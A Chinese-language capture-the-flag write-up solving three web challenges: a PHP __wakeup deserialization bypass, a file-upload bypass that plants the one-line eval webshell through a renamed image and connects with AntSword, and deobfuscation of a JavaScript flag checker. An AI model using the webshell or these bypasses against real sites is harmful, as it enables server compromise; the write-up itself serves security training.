unserialize3
知识点:反序列化漏洞,wakeup魔法函数
php <?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code= ?>
先对代码补全然后进行审计。
class xctf{ //定义一个名为xctf的类 public $flag = '111'; //定义一个公有的类属性$flag,值为111 public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本 exit('bad requests'); } } $a = new xctf(); //使用new运算符来实例化该类(xctf)的对象为a echo(serialize($a)); //输出被序列化的对象(a)
然后将代码放到vscode跑一下
但是我们还需要绕过weakup函数 否则就会输出bad requesets
//wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:
将真实值由1修改为2 O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag
upload1
这是一道常见的文件上传题,解题思路就是将一句话木马以图片形式上传,再抓包修改为php格式,然后放包,再用蚁剑链接即可。 <?php @eval($_POST['a']);?> 这是最常见的一句话木马,创建新文档,先用txt 然后改为jpg
然后用蚁剑连接
连接成功,进入文件找flag
NaNNaNNaNNaN-Batman
这道题打开只有一个附件,下载后打开 发现是一堆乱码
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie} na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}}\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)! =null=["write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($ [Y]))_=join(pop());eval(_)</script>
这是一个html代码,然后文档后缀改为html
发现只有一个搜索框,我们试试将eval输出函数改为alert弹框函数,以便审计代码。
可以被打开,但是代码还是很乱,找到一个在线美化代码的网站试试将代码恢复
这里有两种方法可以得到flag
一、e需要满足长度16,开头be023,之后跟233ac,c7be9,e98aa 优化因为长度只有16,优化一下be0233ac7be98aa 直接到搜索框输入就可以得到flag。
二、直接跑代码
var t = ["fl", "sa", "i", "e}"]; var n = ["a", "h0l", "n"]; var r = ["g{", "e", "0"]; var i = ["it'", "", "n"]; var s = [t, n, r, i]; for (var o = 0; o < 13; ++o) document.write(s[o % 4][0])
将这段代码放到火狐的控制台也可得到flag